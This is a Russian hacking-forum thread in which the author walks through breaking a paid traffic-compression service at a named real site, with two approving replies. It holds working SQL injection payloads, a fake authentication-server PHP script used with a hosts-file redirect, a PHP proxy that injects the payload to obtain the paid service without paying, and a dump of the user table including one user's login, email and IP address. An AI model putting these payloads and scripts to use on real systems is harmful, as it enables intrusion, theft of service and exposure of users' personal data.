Ломаем Etraffic

Discussion in 'Уязвимости' started by Dr.Z3r0, 22 Sep 2007.

  1. Dr.Z3r0

    Dr.Z3r0 Leaders of the World

    Joined:
    6 Jul 2007
    Messages:
    284
    Likes Received:
    595
    Reputations:
    567
    Взлом Etraffic...

    INTRO
    Все начиналось в один прекрасный день, когда я страдал от скуки. Где то прочитав про такую чудесную прогу Etraffic (что то типа компрессора трафика) www.vipm.ru, я скачал ее. Там давалось всего 3 сжатых метра на осмотр возможностей программы, за остальное необходимо было платить, немного конечно 60 рублей за 350 метров, но мне подумалось: "А с какой стати?". И я принялся изучать работу программы. Как оказалось позже серверная часть программы была писана на php горе кодерами, но не буду сильно забегать вперед.

    Начнем
    Вообщем фаервол орал что прога лезет на айпи 66.29.31.232, порт 80. Сначала, при открытии этого айпишника в браузере, я не допер что за "Хладокомбинат кисловодский". Но все элементарное просто. Прожка стучится по домену www.vipm.ru который имеет такой же ip.

    Вооружившись сниффром я отснифал следующее:
    Code:
    GET /server/login_v_2_0.php?ilogin=5950585A4E4C38373639&ipsw=32576473415A6B655575&iid=32303532323637&hver=2&lver=0&ilp=2A2A2A2E2A2A2A2E2A2A2A2E2A2A2A&lid=6668465745920751364 HTTP/1.1
    Host: www.vipm.ru
    Accept: text/html, */*
    User-Agent: Mozilla/3.0 (compatible; Indy Library) 
    Вот оно лольство разработчиков. Данные передаются в хексе. Ну и собственно нас интересуют тут три параметра:
    ilogin-логин
    ipsw-пароль
    ilp-айпишнег юзверя(!)(разумеетсо свой айпишнег я переделал:) )

    Собственно хотелось бы обратить ваше внимание на то что прожка передает айпишнег. То есть эта система уже не является анонимной как уверяют вас авторы на главной странице сайта.

    Так вот ответом на этот отосланый пакет служило это:
    Code:
    HTTP/1.1 200 OK
    Date: Fri, 21 Sep 2007 11:40:51 GMT
    Server: Apache/2.2.3 (Debian) PHP/5.2.0-8+etch7 mod_ssl/2.2.3 OpenSSL/0.9.8c
    X-Powered-By: PHP/5.2.0-8+etch7
    ETResult: 1001
    ETError: zeUg4uXw7fvpIOvu4+jtIC0gWVBYWk5MODc2OSAo7eXyIODq6uDz7fLgKQ==
    Content-Length: 0
    Keep-Alive: timeout=15
    Connection: Keep-Alive
    Content-Type: text/html; charset=cp1251
    Ой что это: zeUg4uXw7fvpIOvu4+jtIC0gWVBYWk5MODc2OSAo7eXyIODq6uDz7fLgKQ==? Узнаем здесь base64? Раскодируем и получаем: Не верный логин - YPXZNL8769 (нет аккаунта). И как ни странно прога выдает такое же сообщение. Тут я немного отвлекся заставив прогу повыдавать всякие надписи ;).

    Так, первые успехи у меня есть: клиент шифрует свои данные в хексе, сервер в base64. Но что же делать дальше?

    Вообще я неплохо рулю в SQL injection и втыкнув ' в параметр ilogin я получил уже другую ошибку что то типа Нет данных об аккаунте с кодом ETResult: 1000. "Не порядок" :подумал я и воткнул туда 1' /* разумеетсо шифруя все в хекс. Я получил в ответ что типа Не верный логин - 1' /* (нет аккаунта) с кодом 1001 и улыбка поползла по моему лицу. Дальше я воткнул 1' OR 1=1 /* вернулась фраза Неверный пароль с кодом 1002.

    Что же тут есть SQL injection. Вообщем мне было лень сначала подбирать столбцы. Так как не было вывода. Я попытался узнать версию Бд таким образом: 1' OR 1=IF(SUBSTRING(VERSION(),0,1)=5,1,2)/* На что мне к сожалению вернулась ошибка 1001 что нам говорил о том что версия ниже пятой. Затем я узнал что имя юзера не root.

    Ну решив что надо подобрать количество столбцов я это сделал и у меня получилось их 18 штук. Параметр ilogin выглядел вот так без хекса: 1' OR 1=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 /*.

    Затем, я узнаю есть ли SQL injection в параметре ipsw. Воткнув туда кавычку и увидев что ничего не изменилось, я воткнул туда конструкцию с бенчмарком, что по идее если в ipsw есть SQL injection вызовет большое торможение в ответе сервера ;). Но тормажение отсутствовало значит скорее всего запрос к базе один, выбор идет по логину а пароль проверяется в теле скрипта.

    Вот тут я начинаю тупить :(. Протыкав весь диапазон циферок от 1 до 18 в ipsw с логином
    1' OR 1=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 /* я удивлялсо, неужели я ошибся :(. Но сходив и попив кофейку до меня дошло что я дурак :). И я начал протыкивать диапазон циферок от 1 до 18 с логином 1' OR 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 /*. И на второй циферке мне повезло. Сервер вернул ответ:

    Code:
    HTTP/1.1 200 OK
    Date: Fri, 21 Sep 2007 11:29:30 GMT
    Server: Apache/2.2.3 (Debian) PHP/5.2.0-8+etch7 mod_ssl/2.2.3 OpenSSL/0.9.8c
    X-Powered-By: PHP/5.2.0-8+etch7
    ETResult: 0
    ETServer: ODIuMTAzLjEzNS4xODI=
    ETServerSymbol: dmlw
    ETClient: L3NlcnZlci9jbGllbnRfdl8yXzBfdmlwLnBocA==
    ETEMail: Mw==
    ETAcType: 12
    ETPack: 7
    ETTotal: 6
    ETEndDate: 01.01.1970
    ETTodayN: 0
    ETTodayP: 0
    ETClones: 1
    ETMT: 5
    Content-Length: 23
    Keep-Alive: timeout=15
    Connection: Keep-Alive
    Content-Type: text/html; charset=cp1251
    
    ETrraffic logon session
    Что говорило о том что пароль "подошел" ;). Теперь опять подумав, я наваял небольшой скриптег на php вот он:

    Code:
    <?php
    header("ETResult: 0");
    header("ETServer: d3d3LnZpcG0ucnU=");
    header("ETServerSymbol: dmlw");
    header("ETClient: L3NlcnZlci9jbGllbnRfdl8yXzBfdmlwLnBocA==");
    header("ETEMail: Mw==");
    header("ETAcType: 12");
    header("ETPack: 7");
    header("ETTotal: 6");
    header("ETEndDate: 01.01.1970");
    header("ETTodayN: 0");
    header("ETTodayP: 0");
    header("ETClones: 1");
    header("ETMT: 3");
    echo('ETrraffic logon session');
    ?>
    И заставил прожку обратится к нему, путем небольшой модификации файлега hosts ;). Уря! Значок в трее загорелся зеленым ;), что говорит об успешной аунтификации.

    Теперь расшифровав вот это ETClient: L3NlcnZlci9jbGllbnRfdl8yXzBfdmlwLnBocA== получил /server/client_v_2_0_vip.php что скорее всего являлось скриптом отвечающим за передачу данных. Опять отснифаф прожку при обращеннии ее к этому скрипту я получил:

    Code:
    GET /server/client_v_2_0_vip.php HTTP/1.0
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.50
    Host: www.vipm.ru
    Accept: */*
    Accept-Language: ru,en;q=0.9
    Accept-Charset: windows-1251, utf-8, utf-16, iso-8859-1;q=0.6, *;q=0.1
    ETBasic: WVBYWk5MODc2OSEkITJXZHNBWmtlVXUhJCFhSFIwY0RvdkwzZDNkeTVuYjI5bmJHVXVZMjl0TDNObFlYSmphRDlqYkdsbGJuUTliM0JsY21FbWNteHpQWEoxSm5FOUpVUXhKVGd4SlVRd0pVSkJKVVF3SlVJd0pVUXhKVGczSlVRd0pVSXdKVVF4SlRneUpVUXhKVGhESzBsU1NWTW1jMjkxY21ObGFXUTliM0JsY21FbWFXVTlkWFJtTFRnbWIyVTlkWFJtTFRnPSEkITIwNTIyNjchJCExNzIuMTcuMjAuOTA=
    ETOption: MSEkITEhJCExISQhMSEkITEw
    
    
    Этот пакет был сгенерирован при обращении браузером к гуглу используя эту систему. Попробовав несколько других сайтов я понял что в заголовке ничего не изменяестя только вписывается два параметра. ETOption который в себе содержит скорее всего какие-то параметры, типа там шифровать это, шифровать ли то и тд.
    А вот ETBasic при декодировании из base64 выглядит вот так:
    Code:
    YPXZNL8769!$!2WdsAZkeUu!$!aHR0cDovL3d3dy5nb29nbGUucnUv!$!2052267!$!***.***.***.*** 
    То есть параметры разделяются строкой !$! и содержат в себе логин, пароль, запрашиваемая страница еще раз в base64, какой-то id, ip(скрыт). Теперь генерируя пакет с ETBasic равным:
    Code:
    [B][COLOR=orange]1' OR 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 /*[/COLOR][/B]!$! [B][COLOR=orange]2[/COLOR][/B]!$!aHR0cDovL3d3dy5nb29nbGUucnUv!$!2052267!$!***.***.***.***
    Пулачаю в ответ страницу гугля сжатую gzip-ом. И опять счастье )). И я пошел вбивать в поля логин пароль в прожке два параметра но к сожалению все было бы очень хорошо если бы я бы это смог. Но прога ни в какую ни хотела принять стока символов в свои поля. Тогда я поступил проще наваял небольшой скриптег на php который бы переадресовывав все запросы от него к серверу, попутно заменяя пароль, логин, айпишнег на то что мне нужно. Вот его код:
    Code:
    <?php
    set_time_limit(0);
    
    $headers = GetAllHeaders();
    
    $packet=$_SERVER['REQUEST_METHOD'].' '.$_SERVER['REQUEST_URI'].' '.$_SERVER['SERVER_PROTOCOL'].'
    ';
    foreach($headers as $n_head=> $v_head){
    	if($n_head==='ETBasic'){
    		$v_head=base64_decode($v_head);
    		$v_head=str_replace('YPXZNL8769',"1' OR 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 /*",$v_head);
    		$v_head=str_replace('2WdsAZkeUu','2',$v_head);
    		$v_head=str_replace('***.***','***.***',$v_head);
    		$v_head=base64_encode($v_head);
    	}
    	$packet.=$n_head.': '.$v_head.'
    ';
    }
    
    $post_param='';
    if($_SERVER['REQUEST_METHOD']==='POST'){
    	foreach($_POST as $key_n => $key_v){
    		$post_param.='&'.$key_n.'='.urlencode($key_v);
    	}
    	$post_param=substr($post_param,1);
    	$packet.='
    ';
    	$packet.=$post_param;
    }else{
    $packet.='
    
    ';
    }
    
    
    $dt='';
    $fp=fsockopen('66.29.31.232', 80);
    //$fp=fsockopen('127.0.0.1', 3333);
    fwrite($fp, $packet);
    while(!feof($fp)) $dt.=fread($fp, 1024);
    fclose($fp);
    
    $get_packet=substr($dt,0,strpos($dt,"
    
    ")).'
    ';
    
    $dt=substr($dt,strpos($dt,"
    
    ")+strlen("
    
    "));
    
    $get2_packet=$get_packet;
    
    for($i=0;$i<substr_count($get2_packet,'
    ');$i++){
    	$param=substr($get_packet,0,strpos($get_packet,'
    '));
    	$get_packet=substr($get_packet,strpos($get_packet,'
    ')+strlen('
    '));
    	if(strpos($param,':')>0)
    	{
    		header($param);
    	}
    }
    
    echo($dt);
    ?>
    Запустил прогу и о какое счастье! Прога работает отлично. ;)


    Продолжение.
    Не знаю почему, но на следующий день, осмыслив все это, до меня доперла одна простая истина, что ведь из базы то вывод есть. Вспомним ответ сервера на запрос скрипта login_v_2_0.php:
    Code:
    HTTP/1.1 200 OK
    Date: Fri, 21 Sep 2007 11:29:30 GMT
    Server: Apache/2.2.3 (Debian) PHP/5.2.0-8+etch7 mod_ssl/2.2.3 OpenSSL/0.9.8c
    X-Powered-By: PHP/5.2.0-8+etch7
    ETResult: 0
    ETServer: ODIuMTAzLjEzNS4xODI=
    ETServerSymbol: dmlw
    ETClient: L3NlcnZlci9jbGllbnRfdl8yXzBfdmlwLnBocA==
    ETEMail: Mw==
    ETAcType: 12
    ETPack: 7
    ETTotal: 6
    ETEndDate: 01.01.1970
    ETTodayN: 0
    ETTodayP: 0
    ETClones: 1
    ETMT: 5
    Content-Length: 23
    Keep-Alive: timeout=15
    Connection: Keep-Alive
    Content-Type: text/html; charset=cp1251
    
    ETrraffic logon session
    
    И обратим внимание на праметры ETAcType ETPack ETTotal судя по всему они и являются полями 12, 7, 6. Тут я вбил в ilogin следующее 1' OR 1=2 UNION SELECT 1,2,3,4,5,VERSION(),7,8,9,10,11,12,13,14,15,16,17,18 /* ожидал увидеть грустную надпись о том что версия SQL сервера 4.бла-бла-бла. Но! Я был очень удивлен когда увидел что версия сервера равна пяти! Тут два варианта. Либо я ступил когда проверял версию раньше, либо админ переставил sql сервер. Скорее всего первое...

    Ну что же в БД всего четыре таблицы:
    1' OR 1=2 UNION SELECT 1,2,3,4,5,CONCAT_WS('-',TABLE_SCHEMA,TABLE_NAME),7,8,9,10,11,12,13,14,15,16,17,18 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA<>'information_schema' LIMIT 0,1/*

    vipmru_et-et_pays
    vipmru_et-et_users
    vipmru_et-log
    vipmru_et-online

    Тут меня заинтересовала таблица et_users в ней колумны как мы помним 18 штук:
    1' OR 1=2 UNION SELECT 1,2,3,4,5,COLUMN_NAME,7,8,9,10,11,12,13,14,15,16,17,18 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='et_users' LIMIT 0,1/*

    login
    password
    email
    name
    ip
    total
    packed
    limited
    regdate
    enterdate
    news
    actype
    enddate
    ban
    banday
    maxon
    status
    crc

    Хех... узнав количество зарегеных тел я ох...удивился их там 1927, что то многовато для такого говнеца ( Ну что же им же хуже ;). И вот взяв свой скрипт для дампа через лимит кому надо может найти тут http://forum.antichat.ru/showthread.php?p=407239. И сдампил всю таблицу. Вот запрос:
    1' OR 1=2 UNION SELECT 1,2,3,4,5,CONCAT_WS('-',login,password,email,name,ip,total,packed,limited,regdate,enterdate,news,actype,enddate,ban,banday,maxon,status,crc),7,8,9,10,11,12,13,14,15,16,17,18 FROM et_users LIMIT 0,1/*

    Собственно приглядимся:
    root-yuwy**ZaHF-setisoft@mail.ru--172.20.2.181-36429213-8286309-2147483647-1149192000-1190284090-1-1-1220126400-0-0-3-1161633600-1962593312

    Вот скажите вам 172.20.2.181 ничего не напоминает? Так что об анонимности здесь речи может и не идти...

    Сунулся я зарегится под этим логином и паролем на их сайте но к сожалению кроме как увеличить счет какого то юзера, статистики не было, вообщем ничего хорошего. Но того что я имел на данный момент мне было достаточно )))

    OUTRO
    Вообще все написанное выше не воспринимать всерьез. Это бред больного ума автора, который не несет ответственности за противозаконное приминение данного материала и которому это все приснилось после того как он ударилосо головой обо что-то, и вообще его тут нет ;).
     
    9 people like this.
  2. WAR!9G

    WAR!9G Elder - Старейшина

    Joined:
    24 Jun 2007
    Messages:
    112
    Likes Received:
    89
    Reputations:
    1
    У меня анлимит, но за старание, за то что расписал респ и плюс. Etraffic - вещь всё таки думаю многим необходимая. До конца не осилил, да там и так всё понятно... ;)

    Почему то улыбнуло... :D
     
    #2 WAR!9G, 22 Sep 2007
    Last edited: 22 Sep 2007
  3. Xex

    Xex Banned

    Joined:
    10 Jul 2005
    Messages:
    108
    Likes Received:
    41
    Reputations:
    7
    имхо, в статьи надо)
    очень показательный анализ

    автор - greyhat )